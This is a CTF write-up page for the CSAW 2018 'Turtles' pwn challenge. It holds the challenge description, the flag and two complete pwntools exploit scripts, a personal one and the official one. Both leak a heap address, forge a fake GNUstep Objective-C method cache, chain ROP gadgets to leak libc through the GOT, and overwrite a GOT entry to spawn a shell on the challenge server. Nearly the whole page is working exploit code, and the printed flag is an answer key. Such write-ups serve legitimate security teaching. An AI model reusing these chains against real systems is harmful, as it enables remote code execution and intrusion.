跳转至

Turtles

Description

Looks like you found a bunch of turtles but their shells are no where to be seen! Think you can make a shell for them?

Points

200

Flag

flag{i_like_turtl3$_do_u?}

Setup

Install docker and make sure port 8024 is open

./setup.sh
./run.sh

Notes

Provide them with libs folder and turtles binary

Solution

个人题解:

#!/usr/bin/env python2
# coding: utf-8

from pwn import *
import itertools

IP = "pwn.chal.csaw.io"
PORT = 9003

context.log_level = 'DEBUG'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = "amd64"
mode = args['MODE'].lower()
binary = "./turtles"


def r(x): return io.recv(x)
def ru(x): return io.recvuntil(x)
def rud(x): return io.recvuntil(x, drop=True)
def se(x): return io.send(x)
def sel(x): return io.sendline(x)
def pick32(x): return u32(x[:4].ljust(4, '\0'))
def pick64(x): return u64(x[:8].ljust(8, '\0'))


if mode == "remote":
    context.noptrace = True
    io = remote(IP, PORT)
    libc = ELF("./libs/libc.so.6")
    binary = ELF("./turtles")
    one_gg = 0x4f322
    padding = 0
else:
    io = process(binary)
    proc_base = io.libs()[
        "/home/vagrant/DongFeng/CSAW18/pwn/turtles/turtles"]
    libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc-2.23.so']
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    binary = ELF("./turtles")
    one_gg = 0xf02a4
    padding = 0x10

# io.recvline()
rud("Here is a Turtle: ")
data = io.readline().strip()
leaked = int(data, base=16)
print "leaked address: ", hex(leaked)


gdb.attach(io, '''
b *0x{:x}
c
'''.format(
    # 0x0000000000400C57,  # read
    # 0x0000000000400C72, # memcpy
    # 0x0000000000400C85, # _objc_msg_lookup
    0x0000000000400C9B, # call rax
    )
)

def calc(target):
    pass

# gadget: 0x0000000000400d36 
"""
.text:0000000000400D36 48 83 C4 08                             add     rsp, 8
.text:0000000000400D3A 5B                                      pop     rbx
.text:0000000000400D3B 5D                                      pop     rbp
.text:0000000000400D3C 41 5C                                   pop     r12
.text:0000000000400D3E 41 5D                                   pop     r13
.text:0000000000400D40 41 5E                                   pop     r14
.text:0000000000400D42 41 5F                                   pop     r15
"""
rdx_ = p64(0) + p64(leaked + 0x10 + 0x48) + p64(0x0000000000400d36) + "B"*0x10 + \
    p64(0xaa) + p64(0)*2 + p64(leaked + 0x10)
address_of_target_2 = p64(0x0000000000400d36)

payload = p64(leaked+0x10) + p64(0) + rdx_ + address_of_target_2 #+ address3


#x86_64 particular gadget, may be can be finded on any ELF64 binary
general_gg1 = 0x0000000000400D36
general_gg2 = 0x0000000000400D20


def ropfunc(function, arg1=0, arg2=0, arg3=0):
    padding = ""
    padding += p64(general_gg1)
    padding += "P" * 8
    padding += p64(0)
    padding += p64(1)
    padding += p64(binary.got[function])
    padding += p64(arg1)
    padding += p64(arg2)
    padding += p64(arg3)
    padding += p64(general_gg2)
    padding += "P" * 0x38
    return padding


rop = ROP("./turtles")
rop.printf(binary.got["setvbuf"])
shellcode = rop.chain()
shellcode += ropfunc("read", 16, binary.got["setvbuf"], 0)
shellcode += ropfunc("setvbuf", 0,0, binary.got["setvbuf"] + 8)  
# as system("sh")

payload += shellcode

sel(payload)

pause()
leaked2 = io.recvrepeat(timeout=2)
leaked2 = u64(leaked2.ljust(8, "\x00"))
libc.address = leaked2 - libc.symbols["setvbuf"]
print "[+] leaklib: ", hex(libc.address)

sel(p64(libc.symbols["system"]) + "/bin/sh\x00")

io.interactive()

官方题解:

# 
# Turtles CSAW 2018 Solution
#      _____     ____
#     /      \  |  o | 
#    |        |/ ___\| 
#    |_________/     
#    |_|_| |_|_|
#

from pwn import *

context.log_level = "DEBUG"

p = remote("pwn.chal.csaw.io", 9003)
pause()

elf = ELF("turtles")

heap_leak = int(p.recv().split("\n")[0].split(": ")[-1].strip(), 16)
print "[+] Heap Leak: ", hex(heap_leak)

# libc offsets
# magic_libc_offset: found with one_gadget (https://github.com/david942j/one_gadget)
# this magic gadget is equivalent to execve("/bin/sh", 0, envp) which saves us the
# step of having to find/write "/bin/sh" into the progrma
magic_libc_offset = 0x41320 
printf_libc_offset = 0x50cf0

# various rop gadgets found with rp++ (https://github.com/0vercl0k/rp)

# 0x00400ec3: fsave  [rbp-0x16] ; add rsp, 0x08 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;
addespppppppr = 0x00400ec6

# 0x00400d5f: pop rax ; ret  ;
prax_r = 0x00400e5f

# 0x00400d43: pop rdi ; ret  ;
prdi_r = 0x00400d43

# 0x00400d41: pop rsi ; pop r15 ; ret  ;
prsi_pr = 0x00400d41

# 0x00400cdb: pop rbp ; ret  ;  (1 found)
prbp_r = 0x00400cdb

# format string for leaking out bytes from program
print_llu = " %500s"
print_llu_int = int("000a" + "".join([hex(ord(c))[2:] for c in print_llu][::-1]), 16)

# payload to be sent to program
# we use our heap leak to setup a fake objc method cache
# an attack which is described here (http://phrack.org/issues/66/4.html)
# but adapted to the cache that gnustep objc dictates. objc_msg_lookup for
# gnustep can be found here:
# (https://github.com/gnustep/libobjc/blob/master/sendmsg.c#L275)
# this does the cache lookup and is ultimately the thing being exploited

# *rdi
payload = p64(heap_leak - 0x40 + 0x8)

# *(*rdi + 0x40)
payload += p64(heap_leak + 0x10)

# *(*(*rdi + 0x40))
payload += p64(heap_leak - 0x320 + 0x40)

payload += p64(print_llu_int)

# 0x00400d3d: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret  ;
payload += p64(0x00400d3d)

payload += p64(heap_leak + 0x50 - (1 * 0x8))

# Null for printf to return 0 bytes written
payload += p64(0)

# *(*(*rdi + 0x40) + 0x28)
payload += p64(0xca0)

payload += p64(heap_leak - 0xa8 + 0x48)

# 0x00400d36: add rsp, 0x08 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14
# ; pop r15 ; ret  ;
payload += p64(0x00400d36)

# we construct our rop chain to:
# 1) Call printf with an empty string to get rax to be 0
# 2) leak out the got address of printf using the format string " %500s"
# 3) read our calculated libc magic address back into the printf got
# 4) call the "printf" function, which is now pointing to code in libc
#    that will spawn a shell for us
memcpy_ow_addr = elf.got['memcpy'] + 0x830
print_llu_addr = heap_leak + (24 * 0x8)
print_null_addr = heap_leak + 0x30
rop_chain = "".join(map(p64, [
        0xdeadbeefcafebabe,
        0x1337133713371337,
    prdi_r,
    print_null_addr,
    elf.plt['printf'], # put 0 in rax
    prdi_r,
    print_llu_addr,
    prsi_pr,
    elf.got['printf'],
    0,
    elf.plt['printf'], # leak bytes
        prbp_r,
        memcpy_ow_addr,
        0x400c43, # 00400c43  lea     rax, [rbp-0x830 {var_838}]
        print_llu_int,
]))

payload += rop_chain

p.send(payload)

# using the leaked got address, calculate the actual address
# of the magic jump
printf_got_leak = u64(p.recv().strip() + "\x00\x00")
libc_base = printf_got_leak - printf_libc_offset
magic_addr = libc_base + magic_libc_offset

p.send(p64(magic_addr))

# wait for our shell
p.interactive()

评论